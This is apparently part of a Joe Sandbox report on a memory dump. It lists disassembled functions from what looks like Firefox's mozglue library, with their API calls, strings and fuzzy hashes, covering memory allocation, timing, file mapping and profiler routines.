timeline-memory, xrefs: 6CB39088
data, xrefs: 6CB390E8

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 6604cae8d3df2420bb76ea44f742d8332b2d39e9ca7e74985d006b00eb301f87
Instruction ID: 98dc725c0de6bf77dbd583683dcad064537099967107758461e6808dad01e9a3
Opcode Fuzzy Hash: 6604cae8d3df2420bb76ea44f742d8332b2d39e9ca7e74985d006b00eb301f87
Instruction Fuzzy Hash: 43B1A4B1E012999BDB04CF95C851BBEBBB6EF44318F204419D919ABF80DB31D945CBE1

Function 6CB1C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB1C5A3
WideCharToMultiByte.KERNEL32 ref: 6CB1C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB1C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB1CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB1CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1CAA5

Strings

(null), xrefs: 6CB1C596
0, xrefs: 6CB1D30A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: eb5fc8449602b4f9157d4e1c6bb53d285e7941edfc026d00082ead393c65f955
Instruction ID: ac5f3fc506a07406ba2b6f2d352c16e93c154d2792168b81496d6f7d51d398a1
Opcode Fuzzy Hash: eb5fc8449602b4f9157d4e1c6bb53d285e7941edfc026d00082ead393c65f955
Instruction Fuzzy Hash: 03A1BA3060D3828FDB01DF28D59871BBBE5EF8A758F04882CE889D7A41D731E805CB92

Function 6CAF3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CAF3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CAF34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CAF34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAF350E
__Init_thread_footer.LIBCMT ref: 6CAF3522
__aulldiv.LIBCMT ref: 6CAF3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CAF357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CAF3592

Part of subcall function 6CB2AB89: EnterCriticalSection.KERNEL32(6CB7E370,?,?,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB94
Part of subcall function 6CB2AB89: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CAF3508
kernel32.dll, xrefs: 6CAF34EA

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: c7aa6cc4522225728b21d312b56286d3acb3fb2e9511f9c0da978fe11bba8daf
Instruction ID: 358dcaaac7bb98da1fe292abad36d5a61e036d6e0247e1fa867181f4a817e6b9
Opcode Fuzzy Hash: c7aa6cc4522225728b21d312b56286d3acb3fb2e9511f9c0da978fe11bba8daf
Instruction Fuzzy Hash: BA31AD71B012599FDF02DFB8C848AAE73B9FB86304F100419E956A3790DA74E945CF71

Function 6CAF4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB34843,?), ref: 6CAF45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB34843,?), ref: 6CAF468A
free.MOZGLUE(?,?,?,?,?,?,6CB34843,?), ref: 6CAF46C9
free.MOZGLUE(?), ref: 6CAF46EF
free.MOZGLUE(?), ref: 6CAF4712
free.MOZGLUE(?), ref: 6CAF4735
free.MOZGLUE(?), ref: 6CAF4758
free.MOZGLUE(?), ref: 6CAF477B
free.MOZGLUE(?), ref: 6CAF479E

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 0a176a156eb2a8a53730e2706930be3d6c676ca51748ac31a961c9885e77d7c1
Instruction ID: 75e4c5c91ea9669d0a250dfdeb06dbf932228b8bb045998d5fe2a3f48e3af71c
Opcode Fuzzy Hash: 0a176a156eb2a8a53730e2706930be3d6c676ca51748ac31a961c9885e77d7c1
Instruction Fuzzy Hash: 29B10472A041548FDB189E7CCA9476D77B2AF42328F180668F836DFB96D73098C58B91

Function 6CB5AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB5AC52
CreateFileMappingW.KERNEL32 ref: 6CB5AC7D
GetSystemInfo.KERNEL32 ref: 6CB5AC98
MapViewOfFile.KERNEL32 ref: 6CB5ACB0
GetSystemInfo.KERNEL32 ref: 6CB5ACCD
MapViewOfFile.KERNEL32 ref: 6CB5AD05
UnmapViewOfFile.KERNEL32 ref: 6CB5AD1C
CloseHandle.KERNEL32 ref: 6CB5AD28
UnmapViewOfFile.KERNEL32 ref: 6CB5AD37
CloseHandle.KERNEL32 ref: 6CB5AD43
CloseHandle.KERNEL32 ref: 6CB5AD67

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: f494e49301a9060fdac368b7dabc96093e324682e49df0fd1c52f6fbbaca1fd2
Instruction ID: d06497f45cf16ead1cb78e39fc4453387918c8e61a1cd4e78f6f1d34416bf4a0
Opcode Fuzzy Hash: f494e49301a9060fdac368b7dabc96093e324682e49df0fd1c52f6fbbaca1fd2
Instruction Fuzzy Hash: 46315AB1A043548FDB00BF78C64826EBBF1EF85204F01492DE98997341EB709498CFA2

Function 6CB09620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB09675
__Init_thread_footer.LIBCMT ref: 6CB09697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB09707
__Init_thread_footer.LIBCMT ref: 6CB0971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB09773

Part of subcall function 6CB2AB89: EnterCriticalSection.KERNEL32(6CB7E370,?,?,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB94
Part of subcall function 6CB2AB89: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB097B7
FreeLibrary.KERNEL32 ref: 6CB097D0
FreeLibrary.KERNEL32 ref: 6CB097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB09824

Strings

MapViewOfFileNuma2, xrefs: 6CB097B1
NtMapViewOfSection, xrefs: 6CB09701
ntdll.dll, xrefs: 6CB096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB09670

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 304481b59167279b8382b5e62c6df3876752dda4bf758be16dbad7cc0c56031c
Instruction ID: 7c5839a9e07fac78387395becc5307f334402e136c265dfb805cf37b5dcd4251
Opcode Fuzzy Hash: 304481b59167279b8382b5e62c6df3876752dda4bf758be16dbad7cc0c56031c
Instruction Fuzzy Hash: 8541C2B5B002959FDF01CFA4E888A9A7BB4FB99369F104529ED1587780D734E804CFB2

Function 6CAF1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB7E784), ref: 6CAF1EC1
LeaveCriticalSection.KERNEL32(6CB7E784), ref: 6CAF1EE1
EnterCriticalSection.KERNEL32(6CB7E744), ref: 6CAF1F38
LeaveCriticalSection.KERNEL32(6CB7E744), ref: 6CAF1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAF1F83
LeaveCriticalSection.KERNEL32(6CB7E784), ref: 6CAF1FC0
EnterCriticalSection.KERNEL32(6CB7E784), ref: 6CAF1FE2
LeaveCriticalSection.KERNEL32(6CB7E784), ref: 6CAF1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAF2019

Strings

MOZ_CRASH(), xrefs: 6CAF2000

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 2f7e1c2e1fd7fd0f9d076b024de15c29b9a716920caf400807ab9f3e3c3c3fa9
Instruction ID: 371e174f10e4dfcfbf586ef30b1a89baa4a9b46b3d4aaa9eff11b89c2c3fe839
Opcode Fuzzy Hash: 2f7e1c2e1fd7fd0f9d076b024de15c29b9a716920caf400807ab9f3e3c3c3fa9
Instruction Fuzzy Hash: 9B41E1B2B003A58FEF128F68C889BBE76B5EF59308F040125FE2597740DB7598058BE1

Function 6CB07E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB07EA7
malloc.MOZGLUE(00000001), ref: 6CB07EB3

Part of subcall function 6CB0CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CB0CB49
Part of subcall function 6CB0CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CB07EC4
mozalloc_abort.MOZGLUE(?), ref: 6CB07F19
malloc.MOZGLUE(?), ref: 6CB07F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB07F4D

Strings

d, xrefs: 6CB07F89

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b95016c705c648b152953aa01033daf1ee349502a31d7047ba1189c3546bb8fb
Instruction ID: 4a608a35cf41014dac996f8823368874ccd0404e8d73cbbde8c30b52ae864807
Opcode Fuzzy Hash: b95016c705c648b152953aa01033daf1ee349502a31d7047ba1189c3546bb8fb
Instruction Fuzzy Hash: 0D31F661E003D89BDF019B79DC045FFB778EF96208F049228EC4967652FB30A988C3A1

Function 6CB03E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CB03EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB03FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CB04006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB040A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB03CCC), ref: 6CB040AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB03CCC), ref: 6CB040C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB04134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CB03CCC), ref: 6CB04143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CB03CCC), ref: 6CB04157

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 12a59a722fdda077ee4e21480628b7b21786531553a073f4780ab941f3b20b83
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 76A190B1B40245CFDB40CF69C880659BBB5FF58308F254199D909AF752D771E886CFA1

Function 6CB49D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB48273), ref: 6CB49D65
free.MOZGLUE(6CB48273,?), ref: 6CB49D7C
free.MOZGLUE(?,?), ref: 6CB49D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB49E0F
free.MOZGLUE(6CB4946B,?,?), ref: 6CB49E24
free.MOZGLUE(?,?,?), ref: 6CB49E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB49EC8
free.MOZGLUE(6CB4946B,?,?,?), ref: 6CB49EDF
free.MOZGLUE(?,?,?,?), ref: 6CB49EF5

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 9903438b22290d2bb9d89dddf6ed6524af938761003246f0689a6eec20611d10
Instruction ID: b5ff109c3bc4fb5126c851bc28aa0bb26c460840e4e7e8c9e49bd9130f625f5e
Opcode Fuzzy Hash: 9903438b22290d2bb9d89dddf6ed6524af938761003246f0689a6eec20611d10
Instruction Fuzzy Hash: 6471A071909B819FC712CF18C58095BF7F8FF99315B448619E89A5BB05EB30E989CB82

Function 6CB4DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB4DDCF

Part of subcall function 6CB2FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2FA4B

Part of subcall function 6CB490E0: free.MOZGLUE(?,00000000,?,?,6CB4DEDB), ref: 6CB490FF
Part of subcall function 6CB490E0: free.MOZGLUE(?,00000000,?,?,6CB4DEDB), ref: 6CB49108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB4DE0D
free.MOZGLUE(00000000), ref: 6CB4DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB4DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB4DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB4DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB3DEFD,?,6CB04A68), ref: 6CB4DF32

Part of subcall function 6CB4DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB4DB86
Part of subcall function 6CB4DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB4DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB3DEFD,?,6CB04A68), ref: 6CB4DF65
free.MOZGLUE(?), ref: 6CB4DF80

Part of subcall function 6CB15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB15EDB
Part of subcall function 6CB15E90: memset.VCRUNTIME140(6CB57765,000000E5,55CCCCCC), ref: 6CB15F27
Part of subcall function 6CB15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB15FB2

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: cfdad3036ed105449b9e16fdb68c9138b9084f57544fbe0adc00b2005f421e34
Instruction ID: 829fb7b8b18dc389a1c34562084a7f965f20feef7912e7aad2f52078bcea58f3
Opcode Fuzzy Hash: cfdad3036ed105449b9e16fdb68c9138b9084f57544fbe0adc00b2005f421e34
Instruction Fuzzy Hash: CB51E872A096909BDF218B38E880AAE7376FF91308F95851CD81A53F04D731F919DB93

Function 6CB55D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55DC9
std::_Facet_Register.LIBCPMT ref: 6CB55DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB55C8C,?,6CB2E829), ref: 6CB55E45

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 1928c1d42d06846601573f8aae6b46abdd7f1105c7028f26d85dcc10f924e137
Instruction ID: cd64d01fdee619cf41d0a838e7fb5e955d42d6382f79f75bf861e72d34da5adb
Opcode Fuzzy Hash: 1928c1d42d06846601573f8aae6b46abdd7f1105c7028f26d85dcc10f924e137
Instruction Fuzzy Hash: 5941A0317002648FCB00DF65C898EAE77B9EF89355F544068E90A9B791EB34EC09CF65

Function 6CB2CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAF31A7), ref: 6CB2CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB2CFA4, 6CB2CFB8
<jemalloc>, xrefs: 6CB2CF9F, 6CB2CFB3

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: b190089b1be25dac7055d9df8ff0c818328cc4c9c4cfb2a9e4d55d384d0abff1
Instruction ID: 5c2c5a3f4f734d3d31226c9e89c140b6e1492a22d9526b0f592b9ca0de4877c6
Opcode Fuzzy Hash: b190089b1be25dac7055d9df8ff0c818328cc4c9c4cfb2a9e4d55d384d0abff1
Instruction Fuzzy Hash: 3031A5317402955BFF21BE658C45BBE7B75EF41B58F204018FA19ABA80DB74E5048BB2

Function 6CAFECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFF100: LoadLibraryW.KERNEL32(shell32,?,6CB6D020), ref: 6CAFF122
Part of subcall function 6CAFF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAFF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CAFED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAFEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CAFEDCC
CreateFileW.KERNEL32 ref: 6CAFEE08
free.MOZGLUE(00000000), ref: 6CAFEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CAFEE32

Part of subcall function 6CAFEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CAFEBB5
Part of subcall function 6CAFEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB2D7F3), ref: 6CAFEBC3
